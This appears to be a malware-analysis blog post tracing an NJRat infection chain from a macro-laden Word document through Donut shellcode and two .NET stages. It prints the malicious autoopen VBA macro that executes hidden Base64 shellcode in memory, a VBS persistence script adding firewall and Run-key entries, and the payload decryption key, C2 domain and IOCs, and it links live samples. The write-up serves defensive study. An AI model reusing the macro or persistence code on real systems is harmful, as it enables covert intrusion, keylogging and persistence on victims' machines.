← ret / Breaking Down NJRat
← ret

Breaking Down NJRat: A Full Kill Chain Analysis

🧪 Samples

Password-protected malware samples used in this write-up are available for hands-on follow-along.

🔗 View Samples 🔑 Password: mzheader

🔍 Analysis

Another RAT variant, NJRat is typically attributed to ECrime actors, it is supposedly popular with actors in the Middle East. It’s primary infection vectors are phishing attacks and drive-by downloads, and like many other RATs, it has the capability to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, etc…

This sample was taken from the following tweet

[-] Maldoc VirusTotal

[-] PE Payload VirusTotal

Maldoc

Like most other maldocs which leverage macros, the document lures the user into enabling content.

maldoc enable content lure prompt

We can interrogate this macro by using OLE tools to view it.

OLE tools listing streams in the maldoc

OLE tools showing macro code with VirtualAlloc and CreateThread calls

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal six As Long, ByVal five As Long, ByVal four As LongPtr, three As Long, ByVal two As Long, one As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal seven As Long, ByVal eight As Long, ByVal nine As Long, ByVal ten As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal eleven As LongPtr, ByVal twelve As LongPtr, ByVal thirteen As Long) As LongPtr
Public Function db(base64) As Byte()
  Dim DM As Variant, EL As Variant
  Set DM = CreateObject("Microsoft.XMLDOM")
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  EL.Text = base64
  db = EL.NodeTypedValue
End Function

Sub autoopen()
    Dim var2() As Byte
    Dim var4 As LongPtr
    Variables = ActiveDocument.InlineShapes(1).AlternativeText
    var2 = db(Variables)
    var6 = VirtualAlloc(0, UBound(var2), &H1000, &H40)
    var4 = RtlMoveMemory(var6, VarPtr(var2(0)), UBound(var2))
    var4 = CreateThread(0, 0, var6, 0, 0, 0)

   ActiveDocument.Range.Font.Hidden = False
End Sub

Essentially, a Base64 string is being taken from ActiveDocument.InlineShapes(1).AlternativeText and decoded, we can assess that the contents are then executed in memory using CreateThread, VirtualAlloc and RtlMoveMemory API calls.

The base64 string is hidden inside a text box on the first page of the document, utilising the Alternative Text field

word document Alternative Text field containing hidden base64 payload

I found the full string by querying the Data stream, using OLE tools.

OLE tools Data stream showing base64 encoded shellcode blob

Base64 Snippet:

base64 encoded Donut shellcode snippet extracted from OLE stream

This is Donut Shellcode

Shellcode Analysis

A simple From Base64 operation will reveal the raw shellcode. To investigate this further, I ran the shellcode as an argument with Blobrunner and attached x32dbg to the process.

Blobrunner loading shellcode and x32dbg attaching to the process

We’ll set a breakpoint in x32dbg for the base address 0x012d0000 and run the shellcode.

x32dbg breakpoint hit at shellcode base address 0x012d0000

I decided to leave this here for now, and instead switched to API monitor to see if i could see some interesting function calls.

Within some of the API calls, there are references to netflex.exe in the AppData directory, which is one of our final payloads.

API Monitor showing netflex.exe file path reference in AppData

We also see indications that a registry run key is going to be a form of persistence for this malware.

API Monitor showing registry run key write for persistence

Most interestingly, we can see a NtWriteFile API call occurring. It only seems to show the first 1024 bytes of what it is writing but from this content alone we can see that it is writing an executable, which we should investigate further.

API Monitor NtWriteFile call showing first bytes of a PE being written to disk

We’ll set a breakpoint in x32dbg with bp NtWriteFile and run until that breakpoint is met.

x32dbg breakpoint on NtWriteFile with stack showing MZ header address

We can see in the stack that there is an address with MZ text which is likely our executable, so we’ll follow this in dump.

x32dbg dump view showing MZ DOS header of embedded PE

x32dbg dump view showing PE header bytes confirming executable format

There are very strong indications that this is a binary file being written, we’ll follow this in memory map and dump the memory in a file in an attempt to extract the binary.

x32dbg memory map showing region containing the PE to be dumped

x32dbg dump memory dialog saving the extracted PE to disk

As this was extracted from memory, we need to clean some bits up before we get our executable, we can do this with HxD and delete everything before our MZ header.

HxD hex editor showing raw memory dump with data before MZ header to be removed

1st Executable - The Loader

This is a .NET binary so we will run it through DNSpy to figure out what it’s doing.

DNSpy showing .NET loader entry point and class structure

This appears to be a loader with the injection target of svchost.exe.

DNSpy decompiled code showing process injection targeting svchost.exe

DNSpy showing injection API calls VirtualAllocEx and WriteProcessMemory

We see more references to the registry run key previously mentioned.

DNSpy showing registry run key persistence code in the loader

And, what we’re interested in - a baes64 encoded chunk and target file path.

DNSpy showing base64 encoded payload blob and target drop path in loader

A From Base64 operation will reveal our next binary, dropped from this loader.

CyberChef From Base64 operation revealing MZ header of dropped executable

2nd Executable - Netflex

Taking a look at the dropped netflex.exe in DNSpy, there are a few things to note.

Firstly, the binary does a basic check to decide if the host is in a virtualised environment by querying Win32_CacheMemory

DNSpy showing Win32_CacheMemory WMI query used for VM detection

If there is a value for Win32_CacheMemory, the program assumes the host is not a virtual machine and will execute the next function.

The next function involves breaking/disabling AMSI and ETW, likely through the use of SharpUnhooker or a similar tool.

DNSpy showing AMSI and ETW bypass routine in netflex.exe

Next up is the main function, which essentially decrypts and executes a payload in memory.

DNSpy showing main decryption function with AES key derivation and base64 decode

The first line derives an AES key by getting the SHA 256 value of Settings.aes_key and taking the first 32 bytes.

The second line takes the contents of baseData, converts it from base64, decompresses the data with the Decompress function, decrypts the data and finally base64 decodes the unencrypted data.

Decompress Function

DNSpy showing GZip decompress function that strips the first 4 bytes before decompression

The key point here is that the first 4 bytes of baseData declare the length of the data and are not needed for decompression.

The Settings class is compromised of 3 key components, baseData, aes_key and aes_iv.

DNSpy Settings class showing baseData, aes_key, and aes_iv fields

DNSpy Settings class showing encrypted baseData blob value

We now have everything needed to decrypt the base64 string.

  1. Copy and paste the baseData string into CyberChef, convert it from base64.

  2. Remove the first 4 bytes

  3. Decompress with Gunzip

  4. AES decrypt with base64 key 78e3e7cc513ff8ae00a177366efa4060 (First 32 bytes of the SHA 256 value of Q4NP7JPHRA5AJB28)

  5. Decode from base64

CyberChef recipe output revealing decrypted .NET executable from netflex.exe

This leaves us with another .NET executable, which, upon execution, netflex.exe would load in memory.

3rd Executable - NJRat Payload

Command and Control

Within this executable, we can see the C2 domain and installation directory being declared.

C2: netflex.duckdns[.]org:2255

DNSpy showing NJRat C2 domain netflex.duckdns.org and installation directory

Replication

There is also the capability for replication across removable media drives, and creating a vbs script as a means of persistence.

DNSpy showing removable drive replication routine in NJRat

DNSpy showing VBS script persistence creation code

DNSpy showing VBS script content written for persistence

VBS Script

dim shellobj
set shellobj = wscript.createobject("http://wscript.shell")

ddd= "netsh firewall add allowedprogram c:\users\user\appdata\roaming\netflex\netflex.exe ""netflex.exe"" ENABLE"
cmdshell(ddd)

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split ("netflex.exe",".")(0), "c:\users\user\appdata\roaming\netflex\netflex.exe", "REG_SZ"

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /C /Q /K /S" & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if

cmdshell = readallfromany
end function

Persistence

Previously noted registry run key additions.

DNSpy showing HKCU Run key write for NJRat persistence

DNSpy showing registry key path being constructed for run key persistence

DNSpy showing registry SetValue call writing NJRat to HKCU Run key

As well as the binary being copied to the Startup directory.

DNSpy showing Startup directory copy for additional persistence

Keylogging

The kl class in the binary presents the keylogging functionality.

DNSpy showing kl keylogger class with keystroke capture methods

DNSpy showing keylogger hook installation code in NJRat

The following line defines where the keystrokes are to be recorded.

DNSpy showing keylog storage path set to HKCUregistry key

STV Function

DNSpy showing STV function that writes captured keystrokes to the registry

With this, we know that keystrokes should be recorded under the HKCU\SOFTWARE\Netflex registry key.

DNSpy showing HKCUregistry key used as keylog storage

Basic Execution Flow

DNSpy showing high-level execution flow of NJRat payload

IOCs

Type Value
SHA256 12237938501141149337015c546b5e02acf3b98c1c26a84b5b4befd97d0f66d0
SHA256 66702e21faa38c24f49a33112d2036d8f3b6bcfd686db47299a4dc44dedf13d8
C2 netflex.duckdns[.]org:2255
Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Registry Key HKCU\SOFTWARE\Netflex
Dropped File %APPDATA%\netflex\netflex.exe

Conclusion

This sample demonstrates a multi-stage NJRat infection chain beginning with a macro-enabled document that uses the document’s Alternative Text field to conceal a Base64-encoded Donut shellcode payload. The shellcode loads a .NET loader which decrypts and drops netflex.exe, which in turn decrypts and executes the final NJRat payload in memory. The RAT establishes persistence via registry run keys and the Startup directory, uses a DuckDNS C2 domain for command and control, and records keystrokes to HKCU\SOFTWARE\Netflex. The use of in-memory execution at each stage, combined with AMSI/ETW bypass and VM detection, reflects a deliberate effort to evade detection throughout the kill chain.